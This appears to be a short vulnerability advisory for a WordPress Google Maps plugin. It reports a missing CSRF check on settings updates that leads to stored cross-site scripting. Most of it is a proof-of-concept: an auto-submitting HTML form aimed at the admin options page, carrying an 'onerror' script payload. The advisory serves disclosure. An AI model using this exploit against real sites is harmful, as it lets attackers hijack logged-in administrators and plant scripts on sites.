The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack, and lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping
<form id="test" action="https://example.com/wp-admin/options-general.php?page=googlemaps.php" method="POST">
<input type="text" name="key" value='hacked"><img src onerror=alert(/XSS/)>'>
<input type="text" name="lang" value="co.jp">
<input type="text" name="map_w" value="1">
<input type="text" name="map_h" value="1">
<input type="text" name="action" value="save">
</form>
<script>
document.getElementById("test").submit();
</script>